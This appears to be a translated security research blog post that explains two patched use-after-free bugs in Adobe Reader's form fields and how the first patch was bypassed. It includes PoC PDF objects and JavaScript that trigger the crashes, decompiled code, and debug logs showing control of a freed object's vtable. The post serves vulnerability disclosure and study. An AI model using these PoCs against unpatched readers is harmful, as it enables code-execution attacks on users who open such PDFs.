CVE-2021-28632 & CVE-2021-39840: 绕过adobe reader中的锁

 

前言

这篇博文描述了我提交给 ZDI 的两个 Adobe Reader 释放后使用漏洞：一个来自 2021 年 6 月的补丁 ( CVE-2021-28632 )，一个来自 2021 年 9 月的补丁 ( CVE-2021-39840 )。关于这两个bug的一个有趣方面是它们是相关的——第一个错误是通过模糊测试发现的，第二个错误是通过逆向工程发现的，它绕过第一个错误的补丁。

 

CVE-2021-28632：了解字段锁

一天清晨，在对fuzz结果进行例行崩溃分析时，一个 Adobe Reader 崩溃引起了我的注意：

** Adobe Reader DC 2021.001.20135 

eax=549b6fe8 ebx=00000000 ecx=04cfb49c edx=40004000 esi=549b6fe8 edi=3344afa8 
eip=67147215 esp=04cfb504 ebp=04cfb544 iopl=0         nv up ei pl zr na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 
AcroForm!DllUnregisterServer+0xd0b45: 
67147215 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:3344afbc=????????

在经过几个小时的样本最小化和清理fuzzer生成的 PDF 文件后，最终简化的PoC 如下所示（PDF部分仅限重要的内容）：

8 0 obj 
<< 
    /FT /Tx 
    /Kids [9 0 R]                    % [A] 
    /T (fieldParent) 
>> 
endobj 

9 0 obj 
<< 
    /FT /Tx 
    /T (fieldChild) 

    /Type /Annot                    % [B] 
    /Subtype /Widget 
    /Rect [0 0 1 1] 
>> 
endobj

JavaScript 部分：

function callback() { 
    removeField("fieldChild");                        // [1] 
} 

try { 
    fieldParent = getField("fieldParent"); 
    fieldParent.setAction("Format", "callback()");    // [2] 
    fieldParent.textSize = 1;                         // [3] 
}catch(e) { 
    app.alert("exception: " + e) 
}

崩溃是涉及到CPDField对象的一个UAF。CPDField对象是AcroForm.api的内部C++对象，在交互式表单中代表文本字段、按钮字段等。

在上面的PDF部分中，创建了两个CPDField对象来代表两个文本字段，名为fieldParent和fieldChild。这里需要注意的是，创建的对象是一个CTextField类型，它是CPDField的子类，用于文本字段。为了简化讨论，它们将被称为CPDField对象。

触发该错误的一个重要因素是，fieldChild应该是fieldParent的子类，通过在fieldParent PDF对象字典的/Kidskey中指定它（见上文），正如PDF文件格式规范中所记载的那样。

与该bug有关的另一个重要概念是，为了防止CPDField对象在使用中被释放，使用了一个名为LockFieldProp的内部属性。CPDField对象的内部属性是通过一个C++ map成员变量来存储的。

如果LockFieldProp不为零，意味着CPDField对象被加锁，不能被释放；如果它为零或未被设置，意味着CPDField对象被解锁，可以被释放。下面是PoC中两个CPDField对象在调用字段锁的代码（后面会讨论）之前的可视化表示：fieldParent是解锁状态（LockFieldProp为0），呈绿色，fieldChild也是解锁状态（LockFieldProp未设置），也呈绿色。

在PoC的JavaScript部分，代码设置了一个JavaScript回调，以便当fieldParent的 “Format “事件被触发时，自定义的JavaScript函数callback()会被执行。然后JavaScript代码通过设置fieldParent的textSize属性来触发 “Format “事件。在内部，这将执行AcroForm.api中JavaScript Field对象的textSize属性设置器。

AcroForm.api中textSize属性设置器的第一个动作是针对fieldParent调用以下代码加锁。

// Ghidra decompiled code 
// 0x20b96568 in AcroForm.api (Adobe Reader DC 2021.001.20135) 
// Except for "CPDField", all names are assumed (not actual) 

CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this, CPDField *field) 
{ 
  uint16_t locked; 

  this->field = field; 
  this->locked = 0; 
  if (field != (CPDField *)0x0) { 
    locked = LockFieldPropGet(field); 
    if (locked == 0) { 
      LockFieldPropSet(this->field,1);    // [AA] 
      this->locked = 1; 
    } 
  } 
  return this; 
}

上述代码通过将其LockFieldProp属性设置为1[AA]，锁定了传递给它的CPDField对象。

执行字段加锁代码后，fieldParent（加锁：红色）和fieldChild（解锁：绿色）的锁状态如下。

注意在Adobe Reader的后期版本中，LockFieldProp的值是一个指向计数器的指针，而不是被设置为1或0的值。

接下来，AcroForm.api中的textSize属性设置器递归调用下面的CPDField方法，在这里发生了UAF。

// Ghidra decompiled code 
// 0x20b971a0 in AcroForm.api (Adobe Reader DC 2021.001.20135) 
// Except for "CPDField", all names are assumed (not actual) 

void __thiscall CPDField::propagateNotification(CPDField *this,undefined4 param1,undefined4 param2) 
{ 
  // 1st call: `this` points to fieldParent 
  // 2nd call: `this` points to fieldChild 

  // [...] 

    if ((int)this->widgetEnd - (int)this->widgetStart >> 2 == 0){                // [aa] 

      // 1st call: `this` points to fieldParent 

      CPDField::getKidsHandle(this,&kidsHandle); 
      getHandleType = g_AcroRdObjFuncs->PDHandleGetType; 
      handleLo_ = (uint32_t)kidsHandle; 
      handleHi_ = kidsHandle._4_4_; 
      _guard_check_icall(getHandleType); 
      handleType = (*getHandleType)(CONCAT44(handleHi_,handleLo_)); 
      if (handleType == PDHANDLE_TYPE_ARRAY) { 
        arrayGetLen = g_AcroRdObjFuncs->PDArrayGetLen; 
        handleLo__ = (uint32_t)kidsHandle; 
        handleHi__ = kidsHandle._4_4_; 
        _guard_check_icall(arrayGetLen); 
        kidsLen = (*arrayGetLen)(CONCAT44(handleHi__,handleLo__)); 

        // For each of the field's children, perform a recursive call 

        for (kidsIndex = 0; kidsIndex < kidsLen; kidsIndex = kidsIndex + 1) {    // [bb] 
          arrayGetItemAtIndex = g_AcroRdObjFuncs->PDArrayGetItemAtIndex; 
          handleLo___ = (uint32_t)kidsHandle; 
          handleHi___ = kidsHandle._4_4_; 
          kidsIndex_ = kidsIndex; 
          _guard_check_icall(arrayGetItemAtIndex); 
          kidHandle = (*arrayGetItemAtIndex)(CONCAT44(handleHi___,handleLo___),kidsIndex_); 
          field = FieldNameMap::getByHandle(this->fieldNameMap,kidHandle,1); 
          if (field != (CPDField *)0x0) { 

            // `field` will point to fieldChild 

            propagateNotification = field->vftable->propagateNotification; 
            uVar5 = param1; 
            uVar6 = param2; 
            _guard_check_icall(propagateNotification); 

            // perform recursive call with the `this` pointer pointing to fieldChild 

            (*propagateNotification)(field,uVar5,uVar6);                         // [cc] 
          } 
        } 
      } 
    } 
    else { 
      if (this->field_0x24 == 0) { 

        // 2nd call: `this` points to fieldChild 

        // Triggers a notification that results in the execution of the 
        // custom JavaScript callback() function that will free fieldChild 

        notify = this->vftable->notify; 
        uVar5 = param1; 
        _guard_check_icall(notify); 
        pCVar3 = (CPDField *)(*notify)(this,uVar5);                              // [dd] 

        // `this` pointer (fieldChild) is now a dangling pointer 

        // [...] 
      } 
    } 
    // [...] 
  } 
  return; 
}

在第一次调用上述方法时，this指针指向加锁的fieldParent CPDField对象。因为它没有相关的部件[aa]（上方[aa]处的代码，下同），该方法执行了一个递归调用[cc]，this指针指向fieldParent的每个子对象[bb]。

因此，在第二次调用上述方法时，this指针指向fieldChild CPDField对象，由于它有一个相关的widget（见PoC中PDF部分的[B]），一个通知将被触发[dd]，导致自定义JavaScriptcallback()函数被执行。如上图所示，加锁代码只锁定了fieldParent，而fieldChild却没有被加锁。因为fieldChild被解锁了，自定义JavaScriptcallback()函数中的removeField(“fieldChild”)调用（见PoC中JavaScript部分的[1]）成功地释放了fieldChild CPDField对象。这导致递归方法中的this指针在[dd]的调用后成为一个悬挂的指针。随后此悬挂指针被解引用，导致崩溃。

这是第一个漏洞在2021年6月被Adobe修补，并分配给CVE-2021-28632。

 

CVE-2021-39840: 逆向补丁和绕过锁

我很好奇Adobe是如何修补CVE-2021-28632的，所以在补丁发布后，我决定看一下更新后的AcroForm.api。

在逆向更新后的字段加锁代码时，我注意到添加了一个对加锁传递字段的直接子类的方法的调用：

// Ghidra decompiled code 
// 0x20b966d8 in AcroForm.api (Adobe Reader DC 2021.005.20048) 
// Except for "CPDField", all names are assumed (not actual) 

CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this,CPDField *field) 
{ 
  uint16_t locked; 
  CPDField *field_; 

  this->field = field; 
  this->locked = 0; 
  if ((field != (CPDField *)0x0) && (locked = LockFieldPropGet(field), locked == 0)) { 
    LockFieldPropSet(this->field,1); 
    field_ = this->field; 
    this->locked = 1; 
    if ((int)field_->widgetEnd - (int)field_->widgetStart >> 2 == 0) { 
      CPDField::lockUnlockKids(field_,1);    // Added call: Lock the field's immediate descendants 
    } 
  } 
  return this; 
}

通过添加的代码，fieldParent和fieldChild都将被加锁，第一个错误的PoC将在释放fieldChild时失败。

在评估更新后的代码时，我产生了一个想法：由于加锁代码只额外锁定字段的直系子类，如果该字段有一个非直系子类呢？我迅速将CVE-2021-28632的PoC修改为以下内容。

PDF部分（只有重要部分）。

9 0 obj 
<< 
    /FT /Tx 
    /Kids [10 0 R] 
    /T (fieldParent) 
>> 
endobj 

10 0 obj 
<< 
    /FT /Tx 
    /T (fieldChild) 
    /Kids [11 0 R] 
>> 
endobj 

11 0 obj                      % Added a grandchild field 
<<                            % fieldGrandChild is a grandchild of fieldParent 
    /FT /Tx 
    /T (fieldGrandChild) 

    /Type /Annot 
    /Subtype /Widget 
    /Rect [0 0 1 1] 
>> 
endobj

JavaScript部分：

function callback() { 
    removeField("fieldGrandChild");     // free the fieldGrandChild CPDField object 
} 

try { 
    fieldParent = getField("fieldParent"); 
    fieldParent.setAction("Format", "callback()"); 
    fieldParent.textSize = 1; 
}catch(e) { 
    app.alert("exception: " + e) 
}

然后在调试器下的Adobe Reader中加载更新后的PoC，点击开始……然后崩溃了!

** Adobe Reader DC 2021.005.20048 

(2568.2504): Access violation - code c0000005 (first chance) 
First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 
eax=4334cfe8 ebx=00000000 ecx=6381b85b edx=00400000 esi=4334cfe8 edi=33ddcfa0 
eip=637f73b5 esp=0057b6a4 ebp=0057b6e4 iopl=0         nv up ei pl zr na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 
AcroForm!DllUnregisterServer+0xd0bb5: 
637f73b5 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:33ddcfb4=????????

补丁被绕过了，Adobe Reader在之前讨论的递归方法中的同一位置崩溃了，和上一个UAF一样。

经过进一步分析，我确认下图是调用递归方法时字段锁的状态。请注意，fieldGrandChild是解锁状态，因此，可以被释放。

递归的CPDField方法从指向fieldParent的this指针开始，接着用指向fieldChild的this指针调用自身，然后用指向fieldGrandChild的this指针再次调用自身。由于fieldGrandChild有一个附加的部件，释放fieldGrandChild的JavaScriptcallback()函数被执行，有效地使this指针成为一个悬挂的指针。

这是第二个漏洞在2021年9月被Adobe修补，并分配给CVE-2021-39840。

 

控制字段对象

通过JavaScript控制被释放的CPDField对象是很直接的：在通过调用removeField()释放CPDField对象后，JavaScript代码可以用类似大小的数据或一个对象喷射占领堆块，以替换被释放的CPDField对象的内容。

当我向ZDI提交报告时，包括了第二个PoC，它展示了对CPDField对象的完全控制，然后对一个受控的、虚函数表指针进行解引用。

** Adobe Reader DC 2021.005.20048 
** Debug log of PoC for CVE-2021-39840 

[...] 

eax=101000d8 ebx=00000000 ecx=00000000 edx=00000001 esi=0d049dc0 edi=0f08abf8 
eip=64c673d9 esp=050fb5cc ebp=050fb614 iopl=0         nv up ei pl nz na po nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 
AcroForm!DllUnregisterServer+0xd0bd9: 
64c673d9 8b7030          mov     esi,dword ptr [eax+30h] ds:002b:10100108=41414141 

0:000> u 
AcroForm!DllUnregisterServer+0xd0bd9: 
64c673d9 8b7030          mov     esi,dword ptr [eax+30h] 
64c673dc 8bce            mov     ecx,esi 
64c673de ff1544690965    call    dword ptr [AcroForm!DllUnregisterServer+0x500144 (65096944)] ; CFG check 
64c673e4 8b4dec          mov     ecx,dword ptr [ebp-14h] 
64c673e7 ffd6            call    esi    ; call using a controlled register (esi)

 

总结

对象树的实现，特别是那些可以任意控制和销毁对象的应用，很容易出现 “UAF”漏洞。对于开发者来说，必须特别注意对象引用跟踪和对象锁的实现。对于漏洞研究者来说，它们代表了发现有趣的漏洞的机会。